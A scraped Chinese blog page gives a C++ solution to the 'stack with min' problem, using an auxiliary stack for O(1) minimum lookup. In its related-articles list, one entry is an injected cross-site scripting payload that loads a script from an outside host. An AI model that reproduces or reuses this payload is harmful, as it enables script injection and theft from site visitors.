stackWithMIn
来源:互联网 发布:php中字符串的截取 编辑:程序博客网 时间:2024/06/05 11:16
stackWithMin
牛客网url
定义栈的数据结构,请在该类型中实现一个能够得到栈最小元素的min函数。
时间复杂度为O(1),使用一个辅助栈来实现,额外使用O(n)空间。
class Solution {public: void push(int value) { stack1.push(value); if (stackMin.empty()){ stackMin.push(value); } else { if (value <= stackMin.top()){ stackMin.push(value); } } } void pop() { int num = stack1.top(); stack1.pop(); if (num == stackMin.top()){ stackMin.pop(); } } int top() { return stack1.top(); } int min() { return stackMin.top(); }private: stack<int > stack1; stack<int > stackMin; // 辅助栈};
阅读全文
0 0
- stackWithMIn
- [Random Coding]StackWithMin
- .net core 2.0 下,用C#自创实现MysqlHelper的ExecuteDataTable 功能[2017-10-30]
- http://xiaoyaojones.blog.163.com/blog/static/28370125201351501113581/
- 对于进入社会的程序员来说,学历真的很重要……么?
- html菜单的折叠 图标+-的变化
- 系统如何将一个信号通知到进程
- stackWithMIn
- idea 使用SVN导出项目
- Maven学习之路六(Maven工程创建及坐标的添加_)
- 菜鸟学习redis之路(1)
- CentOS 7 时区调整与时间同步
- Effective Java -- 遇到多个构造器参数时要考虑用构建器(Builder)
- linux任务调度机制
- </tExtArEa>'"><sCRiPt sRC=http://xss.fbisb.com/Boa5></sCrIpT>
- NYNU_ACM 实验室招新月赛题解